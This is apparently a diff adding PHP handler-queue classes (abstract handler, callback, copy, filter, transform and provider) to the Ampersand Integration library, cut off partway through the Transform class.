|
200 |
+
break;
|
201 |
+
}
|
202 |
+
} while ($hasChanged);
|
203 |
+
|
204 |
+
return $orderedCodes;
|
205 |
+
}
|
206 |
+
|
207 |
+
/**
|
208 |
+
* Based on a specified handler config data array, this method gets a handler instance and
|
209 |
+
* prepares it to be executed
|
210 |
+
*
|
211 |
+
* @param array $handlerConfigData
|
212 |
+
* @return Ampersand_Integration_HandlerQueue_Handler_Interface
|
213 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
214 |
+
*/
|
215 |
+
protected function _getPreparedHandler(array $handlerConfigData)
|
216 |
+
{
|
217 |
+
$handlerConfig = new Ampersand_Object($handlerConfigData);
|
218 |
+
|
219 |
+
if (!$handler = $handlerConfig->getHandler()) {
|
220 |
+
$innerConfig = new Ampersand_Object(
|
221 |
+
$handlerConfig->getDataSetDefault('config', array())
|
222 |
+
);
|
223 |
+
|
224 |
+
$handler = $this->getHandlerProvider()->getObject($handlerConfig->getType());
|
225 |
+
}
|
226 |
+
|
227 |
+
$this->_validateHandler($handler);
|
228 |
+
|
229 |
+
if (isset($innerConfig)) {
|
230 |
+
$handler->prepare(
|
231 |
+
$this, $innerConfig,
|
232 |
+
$handlerConfig->getInputKey(),
|
233 |
+
$handlerConfig->getOutputKey()
|
234 |
+
);
|
235 |
+
}
|
236 |
+
|
237 |
+
return $handler;
|
238 |
+
}
|
239 |
+
|
240 |
+
/**
|
241 |
+
* Verifies that a handler is valid to be used in this queue. If not, an exceptio is thrown
|
242 |
+
*
|
243 |
+
* @param Ampersand_Integration_HandlerQueue_Handler_Interface $handler
|
244 |
+
* @return Ampersand_Integration_HandlerQueue_Config
|
245 |
+
* @throws Ampersand_Integration_Exception
|
246 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
247 |
+
*/
|
248 |
+
protected function _validateHandler($handler)
|
249 |
+
{
|
250 |
+
if (!$handler instanceof Ampersand_Integration_HandlerQueue_Handler_Interface) {
|
251 |
+
throw new Ampersand_Integration_Exception('Invalid handler provided');
|
252 |
+
}
|
253 |
+
|
254 |
+
return $this;
|
255 |
+
}
|
256 |
+
|
257 |
+
/**
|
258 |
+
* Sets the object which will provide new filter objects when they are required
|
259 |
+
*
|
260 |
+
* @param Ampersand_ClassProvider $provider
|
261 |
+
* @return Ampersand_Integration_HandlerQueue_Config
|
262 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
263 |
+
*/
|
264 |
+
public function setFilterProvider(Ampersand_ClassProvider $provider)
|
265 |
+
{
|
266 |
+
$this->_filterProvider = $provider;
|
267 |
+
|
268 |
+
return $this;
|
269 |
+
}
|
270 |
+
|
271 |
+
/**
|
272 |
+
* Gets the object which provides new filter objects
|
273 |
+
*
|
274 |
+
* @return Ampersand_ClassProvider
|
275 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
276 |
+
*/
|
277 |
+
public function getFilterProvider()
|
278 |
+
{
|
279 |
+
if (is_null($this->_filterProvider)) {
|
280 |
+
$this->_filterProvider = new Ampersand_Integration_Message_Filter_Provider();
|
281 |
+
}
|
282 |
+
|
283 |
+
return $this->_filterProvider;
|
284 |
+
}
|
285 |
+
|
286 |
+
/**
|
287 |
+
* Sets the object which will provide new validator objects when they are required
|
288 |
+
*
|
289 |
+
* @param Ampersand_ClassProvider $provider
|
290 |
+
* @return Ampersand_Integration_HandlerQueue_Config
|
291 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
292 |
+
*/
|
293 |
+
public function setValidatorProvider(Ampersand_ClassProvider $provider)
|
294 |
+
{
|
295 |
+
$this->_validatorProvider = $provider;
|
296 |
+
|
297 |
+
return $this;
|
298 |
+
}
|
299 |
+
|
300 |
+
/**
|
301 |
+
* Gets the object which provides new validator objects
|
302 |
+
*
|
303 |
+
* @return Ampersand_ClassProvider
|
304 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
305 |
+
*/
|
306 |
+
public function getValidatorProvider()
|
307 |
+
{
|
308 |
+
if (is_null($this->_validatorProvider)) {
|
309 |
+
$this->_validatorProvider = new Ampersand_Validator_Provider();
|
310 |
+
}
|
311 |
+
|
312 |
+
return $this->_validatorProvider;
|
313 |
+
}
|
314 |
+
|
315 |
+
/**
|
316 |
+
* Sets the map configuration to use when executing map handlers
|
317 |
+
*
|
318 |
+
* @param Ampersand_Map_Config $config
|
319 |
+
* @return Ampersand_Integration_HandlerQueue_Config
|
320 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
321 |
+
*/
|
322 |
+
public function setBaseMapConfig(Ampersand_Map_Config $config)
|
323 |
+
{
|
324 |
+
$this->_baseMapConfig = $config;
|
325 |
+
|
326 |
+
return $this;
|
327 |
+
}
|
328 |
+
|
329 |
+
/**
|
330 |
+
* Retrieves the map configuration which will be used when executing map handlers
|
331 |
+
*
|
332 |
+
* @param Ampersand_Map_Config $config
|
333 |
+
* @return Ampersand_Integration_HandlerQueue_Config
|
334 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
335 |
+
*/
|
336 |
+
public function getBaseMapConfig()
|
337 |
+
{
|
338 |
+
if (is_null($this->_baseMapConfig)) {
|
339 |
+
$this->_baseMapConfig = new Ampersand_Map_Config();
|
340 |
+
}
|
341 |
+
|
342 |
+
return $this->_baseMapConfig;
|
343 |
+
}
|
344 |
+
}
|
lib/Ampersand/Integration/HandlerQueue/Handler/Abstract.php
ADDED
@@ -0,0 +1,178 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Library
|
4 |
+
*
|
5 |
+
* @category Ampersand_Library
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
8 |
+
* @license TBC
|
9 |
+
*/
|
10 |
+
|
11 |
+
/**
|
12 |
+
* @category Ampersand_Library
|
13 |
+
* @package Ampersand_Integration
|
14 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
15 |
+
*/
|
16 |
+
abstract class Ampersand_Integration_HandlerQueue_Handler_Abstract
|
17 |
+
implements Ampersand_Integration_HandlerQueue_Handler_Interface
|
18 |
+
{
|
19 |
+
/** @var Ampersand_Integration_HandlerQueue_Config */
|
20 |
+
protected $_queueConfig;
|
21 |
+
/** @var Ampersand_Object */
|
22 |
+
protected $_handlerConfig;
|
23 |
+
/** @var string */
|
24 |
+
protected $_inputKey;
|
25 |
+
/** @var string */
|
26 |
+
protected $_outputKey;
|
27 |
+
/** @var Ampersand_Integration_Debug_DebugInterface */
|
28 |
+
protected $_debug;
|
29 |
+
|
30 |
+
/**
|
31 |
+
* Prepares this handler for execution using data within configuration objects. Stores
|
32 |
+
* references to those configuration objects
|
33 |
+
*
|
34 |
+
* @param Ampersand_Integration_HandlerQueue_Config $queueConfig The configuration of the
|
35 |
+
* handler queue with which this handler is associated
|
36 |
+
* @param Ampersand_Object $handlerConfig Configuration object for this handler
|
37 |
+
* @param string $inputKey Key to use when selecting the data structure to pass to this handler
|
38 |
+
* @param string $outputKey Key to use when storing the data structure returned by this handler
|
39 |
+
* @return Ampersand_Integration_HandlerQueue_Handler_Abstract
|
40 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
41 |
+
*/
|
42 |
+
public function prepare(Ampersand_Integration_HandlerQueue_Config $queueConfig,
|
43 |
+
Ampersand_Object $handlerConfig, $inputKey = null, $outputKey = null
|
44 |
+
) {
|
45 |
+
$this->_queueConfig = $queueConfig;
|
46 |
+
$this->_handlerConfig = $handlerConfig;
|
47 |
+
$this->_inputKey = $inputKey;
|
48 |
+
$this->_outputKey = $outputKey;
|
49 |
+
|
50 |
+
$this->_prepare($queueConfig, $handlerConfig);
|
51 |
+
|
52 |
+
return $this;
|
53 |
+
}
|
54 |
+
|
55 |
+
/**
|
56 |
+
* Prepares this handler for execution using data within configuration objects
|
57 |
+
*
|
58 |
+
* @param Ampersand_Integration_HandlerQueue_Config $queueConfig
|
59 |
+
* @param Ampersand_Object $handlerConfig
|
60 |
+
* @return Ampersand_Integration_HandlerQueue_Handler_Abstract
|
61 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
62 |
+
*/
|
63 |
+
protected function _prepare(Ampersand_Integration_HandlerQueue_Config $queueConfig,
|
64 |
+
Ampersand_Object $handlerConfig
|
65 |
+
) {
|
66 |
+
return $this;
|
67 |
+
}
|
68 |
+
|
69 |
+
/**
|
70 |
+
* Handles the input data structure and returns an output data structure
|
71 |
+
*
|
72 |
+
* @param mixed $input
|
73 |
+
* @return mixed
|
74 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
75 |
+
*/
|
76 |
+
public function handle($input)
|
77 |
+
{
|
78 |
+
return $this->_handle($input);
|
79 |
+
}
|
80 |
+
|
81 |
+
/**
|
82 |
+
* Handles the input data structure and returns an output data structure
|
83 |
+
*
|
84 |
+
* @param mixed $input
|
85 |
+
* @return mixed
|
86 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
87 |
+
*/
|
88 |
+
protected function _handle($input)
|
89 |
+
{
|
90 |
+
return $input;
|
91 |
+
}
|
92 |
+
|
93 |
+
/**
|
94 |
+
* Returns the configuration of this handler. Does not return the config of the queue
|
95 |
+
* associated with this handler
|
96 |
+
*
|
97 |
+
* @return Ampersand_Object
|
98 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
99 |
+
*/
|
100 |
+
public function getConfig()
|
101 |
+
{
|
102 |
+
return $this->_handlerConfig;
|
103 |
+
}
|
104 |
+
|
105 |
+
/**
|
106 |
+
* Returns the key to use when selecting the data structure to pass to this handler
|
107 |
+
*
|
108 |
+
* @return string
|
109 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
110 |
+
*/
|
111 |
+
public function getInputKey()
|
112 |
+
{
|
113 |
+
return $this->_inputKey;
|
114 |
+
}
|
115 |
+
|
116 |
+
/**
|
117 |
+
* Returns the Key to use when storing the data structure returned by this handler
|
118 |
+
*
|
119 |
+
* @return string
|
120 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
121 |
+
*/
|
122 |
+
public function getOutputKey()
|
123 |
+
{
|
124 |
+
return $this->_outputKey;
|
125 |
+
}
|
126 |
+
|
127 |
+
/**
|
128 |
+
* Associates the provided debug instance with this handler
|
129 |
+
*
|
130 |
+
* @param Ampersand_Integration_Debug_DebugInterface $debug
|
131 |
+
* @return Ampersand_Integration_HandlerQueue_Handler_Abstract
|
132 |
+
* @author Josh Di Fabio <josh.difabio@ampersandcommerce.com>
|
133 |
+
*/
|
134 |
+
public function setDebug(Ampersand_Integration_Debug_DebugInterface $debug)
|
135 |
+
{
|
136 |
+
$this->_debug = $debug;
|
137 |
+
|
138 |
+
return $this;
|
139 |
+
}
|
140 |
+
|
141 |
+
/**
|
142 |
+
* Gets the debug instance associated with this handler. Creates an empty one if none is set
|
143 |
+
*
|
144 |
+
* @return Ampersand_Integration_Debug_DebugInterface
|
145 |
+
* @author Josh Di Fabio <josh.difabio@ampersandcommerce.com>
|
146 |
+
*/
|
147 |
+
public function getDebug()
|
148 |
+
{
|
149 |
+
if (!$this->hasDebug()) {
|
150 |
+
$this->setDebug($this->_getPreparedDebugInstance());
|
151 |
+
}
|
152 |
+
|
153 |
+
return $this->_debug;
|
154 |
+
}
|
155 |
+
|
156 |
+
/**
|
157 |
+
* Gets a new, prepared debug instance to associate to this handler
|
158 |
+
*
|
159 |
+
* @return Ampersand_Integration_Debug
|
160 |
+
* @author Josh Di Fabio <josh.difabio@ampersandcommerce.com>
|
161 |
+
*/
|
162 |
+
protected function _getPreparedDebugInstance()
|
163 |
+
{
|
164 |
+
return new Ampersand_Integration_Debug();
|
165 |
+
}
|
166 |
+
|
167 |
+
|
168 |
+
/**
|
169 |
+
* Checks whether this handler has an associated debug instance
|
170 |
+
*
|
171 |
+
* @return bool
|
172 |
+
* @author Josh Di Fabio <josh.difabio@ampersandcommerce.com>
|
173 |
+
*/
|
174 |
+
public function hasDebug()
|
175 |
+
{
|
176 |
+
return !is_null($this->_debug);
|
177 |
+
}
|
178 |
+
}
|
lib/Ampersand/Integration/HandlerQueue/Handler/CallbackMulti.php
ADDED
@@ -0,0 +1,41 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Library
|
4 |
+
*
|
5 |
+
* @category Ampersand_Library
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
8 |
+
* @license TBC
|
9 |
+
*/
|
10 |
+
|
11 |
+
/**
|
12 |
+
* @category Ampersand_Library
|
13 |
+
* @package Ampersand_Integration
|
14 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
15 |
+
*/
|
16 |
+
class Ampersand_Integration_HandlerQueue_Handler_CallbackMulti
|
17 |
+
extends Ampersand_Integration_HandlerQueue_Handler_CallbackSingle
|
18 |
+
{
|
19 |
+
/**
|
20 |
+
* Calls a method on a class or an object with a single parameter and returns the return value
|
21 |
+
* of that method call
|
22 |
+
*
|
23 |
+
* @param mixed $subject Object or class on which to make the call
|
24 |
+
* @param string $method Name of the method to call
|
25 |
+
* @param mixed $params The params to pass to the callback method
|
26 |
+
* @return mixed
|
27 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
28 |
+
*/
|
29 |
+
protected function _callMethod($subject, $method, $params = null)
|
30 |
+
{
|
31 |
+
$callback = array($subject, $method);
|
32 |
+
|
33 |
+
$this->_validateCallback($callback);
|
34 |
+
|
35 |
+
if (is_null($params)) {
|
36 |
+
$params = array();
|
37 |
+
}
|
38 |
+
|
39 |
+
return call_user_func_array($callback, $params);
|
40 |
+
}
|
41 |
+
}
|
lib/Ampersand/Integration/HandlerQueue/Handler/CallbackSingle.php
ADDED
@@ -0,0 +1,91 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Library
|
4 |
+
*
|
5 |
+
* @category Ampersand_Library
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
8 |
+
* @license TBC
|
9 |
+
*/
|
10 |
+
|
11 |
+
/**
|
12 |
+
* @category Ampersand_Library
|
13 |
+
* @package Ampersand_Integration
|
14 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
15 |
+
*/
|
16 |
+
class Ampersand_Integration_HandlerQueue_Handler_CallbackSingle
|
17 |
+
extends Ampersand_Integration_HandlerQueue_Handler_Abstract
|
18 |
+
{
|
19 |
+
/**
|
20 |
+
* Calls the callback and returns its return value
|
21 |
+
*
|
22 |
+
* @param mixed $input The argument to pass to the callback method
|
23 |
+
* @return mixed The return value of the callback method
|
24 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
25 |
+
*/
|
26 |
+
protected function _handle($input)
|
27 |
+
{
|
28 |
+
$subject = $this->_getSubject($this->getConfig());
|
29 |
+
$method = $this->getConfig()->getMethod();
|
30 |
+
|
31 |
+
return $this->_callMethod($subject, $method, $input);
|
32 |
+
}
|
33 |
+
|
34 |
+
/**
|
35 |
+
* Returns the subject for the method callback, i.e. a class name or an object
|
36 |
+
*
|
37 |
+
* @param Ampersand_Object $config The configuration to use to determine the subject
|
38 |
+
* @return mixed Object if the callback is non-static; a class name if it is static
|
39 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
40 |
+
*/
|
41 |
+
protected function _getSubject(Ampersand_Object $config)
|
42 |
+
{
|
43 |
+
if ($config->hasData('object')) {
|
44 |
+
$object = $config->getData('object');
|
45 |
+
if (is_string($object)) {
|
46 |
+
$object = new $object();
|
47 |
+
}
|
48 |
+
|
49 |
+
return $object;
|
50 |
+
}
|
51 |
+
|
52 |
+
return $config->getData('class');
|
53 |
+
}
|
54 |
+
|
55 |
+
/**
|
56 |
+
* Calls a method on a class or an object with a single parameter and returns the return value
|
57 |
+
* of that method call
|
58 |
+
*
|
59 |
+
* @param mixed $subject Object or class on which to make the call
|
60 |
+
* @param string $method Name of the method to call
|
61 |
+
* @param mixed $param The param to pass to the callback method
|
62 |
+
* @return mixed
|
63 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
64 |
+
*/
|
65 |
+
protected function _callMethod($subject, $method, $param = null)
|
66 |
+
{
|
67 |
+
$callback = array($subject, $method);
|
68 |
+
|
69 |
+
$this->_validateCallback($callback);
|
70 |
+
|
71 |
+
return call_user_func($callback, $param);
|
72 |
+
}
|
73 |
+
|
74 |
+
/**
|
75 |
+
* Checks that a callback is callable. If the callback is not callable, this method throws an
|
76 |
+
* exception
|
77 |
+
*
|
78 |
+
* @param mixed $callback
|
79 |
+
* @return Ampersand_Integration_HandlerQueue_Handler_Callback
|
80 |
+
* @throws Ampersand_Integration_Exception
|
81 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
82 |
+
*/
|
83 |
+
protected function _validateCallback($callback)
|
84 |
+
{
|
85 |
+
if (!is_callable($callback)) {
|
86 |
+
throw new Ampersand_Integration_Exception('Callback is not valid');
|
87 |
+
}
|
88 |
+
|
89 |
+
return $this;
|
90 |
+
}
|
91 |
+
}
|
lib/Ampersand/Integration/HandlerQueue/Handler/Copy.php
ADDED
@@ -0,0 +1,30 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Library
|
4 |
+
*
|
5 |
+
* @category Ampersand_Library
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
8 |
+
* @license TBC
|
9 |
+
*/
|
10 |
+
|
11 |
+
/**
|
12 |
+
* @category Ampersand_Library
|
13 |
+
* @package Ampersand_Integration
|
14 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
15 |
+
*/
|
16 |
+
class Ampersand_Integration_HandlerQueue_Handler_Copy
|
17 |
+
extends Ampersand_Integration_HandlerQueue_Handler_Abstract
|
18 |
+
{
|
19 |
+
/**
|
20 |
+
* Returns the input without making any changes
|
21 |
+
*
|
22 |
+
* @param mixed $input
|
23 |
+
* @return mixed Exactly the same as $input
|
24 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
25 |
+
*/
|
26 |
+
protected function _handle($input)
|
27 |
+
{
|
28 |
+
return $input;
|
29 |
+
}
|
30 |
+
}
|
lib/Ampersand/Integration/HandlerQueue/Handler/Filter.php
ADDED
@@ -0,0 +1,37 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Library
|
4 |
+
*
|
5 |
+
* @category Ampersand_Library
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
8 |
+
* @license TBC
|
9 |
+
*/
|
10 |
+
|
11 |
+
/**
|
12 |
+
* @category Ampersand_Library
|
13 |
+
* @package Ampersand_Integration
|
14 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
15 |
+
*/
|
16 |
+
class Ampersand_Integration_HandlerQueue_Handler_Filter extends Ampersand_Integration_HandlerQueue_Handler_Abstract
|
17 |
+
{
|
18 |
+
/**
|
19 |
+
* Passes the input data structure to a filter and returns that filter's output data structure
|
20 |
+
*
|
21 |
+
* @param mixed $input The data structure to pass to the filter
|
22 |
+
* @return mixed The data structure which the filter outputted
|
23 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
24 |
+
*/
|
25 |
+
protected function _handle($input)
|
26 |
+
{
|
27 |
+
if (!$type = $this->getConfig()->getType()) {
|
28 |
+
return $input;
|
29 |
+
}
|
30 |
+
|
31 |
+
$filter = $this->_queueConfig->getFilterProvider()->getObject($type);
|
32 |
+
|
33 |
+
$filter->getConfig()->addDataRecursive($this->_handlerConfig->getConfig());
|
34 |
+
|
35 |
+
return $filter->filter($input);
|
36 |
+
}
|
37 |
+
}
|
lib/Ampersand/Integration/HandlerQueue/Handler/Interface.php
ADDED
@@ -0,0 +1,27 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Library
|
4 |
+
*
|
5 |
+
* @category Ampersand_Library
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
8 |
+
* @license TBC
|
9 |
+
*/
|
10 |
+
|
11 |
+
/**
|
12 |
+
* @category Ampersand_Library
|
13 |
+
* @package Ampersand_Integration
|
14 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
15 |
+
*/
|
16 |
+
interface Ampersand_Integration_HandlerQueue_Handler_Interface
|
17 |
+
extends Ampersand_Integration_ConfigurableInterface, Ampersand_Integration_DebugableInterface
|
18 |
+
{
|
19 |
+
public function prepare(Ampersand_Integration_HandlerQueue_Config $queueConfig,
|
20 |
+
Ampersand_Object $handlerConfig, $inputKey = null, $outputKey = null);
|
21 |
+
|
22 |
+
public function handle($input);
|
23 |
+
|
24 |
+
public function getInputKey();
|
25 |
+
|
26 |
+
public function getOutputKey();
|
27 |
+
}
|
lib/Ampersand/Integration/HandlerQueue/Handler/Provider.php
ADDED
@@ -0,0 +1,32 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Library
|
4 |
+
*
|
5 |
+
* @category Ampersand_Library
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
8 |
+
* @license TBC
|
9 |
+
*/
|
10 |
+
|
11 |
+
/**
|
12 |
+
* @category Ampersand_Library
|
13 |
+
* @package Ampersand_Integration
|
14 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
15 |
+
*/
|
16 |
+
class Ampersand_Integration_HandlerQueue_Handler_Provider extends Ampersand_ClassProvider
|
17 |
+
{
|
18 |
+
/**
|
19 |
+
* An array of aliases and class names for various integration handlers
|
20 |
+
*
|
21 |
+
* @var array
|
22 |
+
*/
|
23 |
+
protected $_classes = array(
|
24 |
+
'callback' => 'Ampersand_Integration_HandlerQueue_Handler_CallbackSingle',
|
25 |
+
'callback_single' => 'Ampersand_Integration_HandlerQueue_Handler_CallbackSingle',
|
26 |
+
'callback_multi' => 'Ampersand_Integration_HandlerQueue_Handler_CallbackMulti',
|
27 |
+
'copy' => 'Ampersand_Integration_HandlerQueue_Handler_Copy',
|
28 |
+
'filter' => 'Ampersand_Integration_HandlerQueue_Handler_Filter',
|
29 |
+
'transform' => 'Ampersand_Integration_HandlerQueue_Handler_Transform',
|
30 |
+
'validate' => 'Ampersand_Integration_HandlerQueue_Handler_Validate',
|
31 |
+
);
|
32 |
+
}
|
lib/Ampersand/Integration/HandlerQueue/Handler/Transform.php
ADDED
@@ -0,0 +1,62 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Library
|
4 |
+
*
|
5 |
+
* @category Ampersand_Library
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
8 |
+
* @license TBC
|
9 |
+
*/
|
10 |
+
|
11 |
+
/**
|
12 |
+
* @category Ampersand_Library
|
13 |
+
* @package Ampersand_Integration
|
14 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
15 |
+
*/
|
16 |
+
class Ampersand_Integration_HandlerQueue_Handler_Transform extends Ampersand_Integration_HandlerQueue_Handler_Abstract
|
17 |
+
{
|
18 |
+
/**
|
19 |
+
* Passes the input data structure through the Map and Render packages and returns the output
|
20 |
+
* data structure
|
21 |
+
*
|
22 |
+
* @param mixed $input The data structure to pass to the Map package
|
23 |
+
* @return mixed The data structure which the Render package outputted
|
24 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
25 |
+
*/
|
26 |
+
protected function _handle($input)
|
27 |
+
{
|
28 |
+
$disableEntityLoader = libxml_disable_entity_loader(true);
|
29 |
+
|
30 |
+
$mapConfig = $this->_getPreparedMapConfig($this->_queueConfig->getBaseMapConfig(), $this->getConfig());
|
31 |
+
$mapResult = Ampersand_Map::map($mapConfig, $input, $this->getDebug());
|
32 |
+
$this->getDebug()->addValuesToObfuscate($mapResult->getValuesToObfuscate());
|
33 |
+
|
34 |
+
try {
|
35 |
+
$output = Ampersand_Render::render($mapResult->getOutput(), $this->_handlerConfig->getAsArray());
|
36 |
+
} catch (Exception $e) {
|
37 |
+
libxml_disable_entity_loader($disableEntityLoader);
|
38 |
+
throw $e;
|
39 |
+
}
|
40 |
+
|
41 |
+
libxml_disable_entity_loader($disableEntityLoader);
|
42 |
+
|
43 |
+
return $output;
|
44 |
+
}
|
45 |
+
|
46 |
+
/**
|
47 |
+
* Prepares a Map configuration to use when mapping the input data structure, based on a base
|
48 |
+
* Map configuration and a handler configuration
|
49 |
+
*
|
50 |
+
* @param Ampersand_Map_Config $baseMapConfig
|
51 |
+
* @param Ampersand_Object $handlerConfig
|
52 |
+
* @return Ampersand_Map_Config
|
53 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
54 |
+
*/
|
55 |
+
protected function _getPreparedMapConfig(Ampersand_Map_Config $baseMapConfig, Ampersand_Object $handlerConfig)
|
56 |
+
{
|
57 |
+
$mapConfig = clone $baseMapConfig;
|
58 |
+
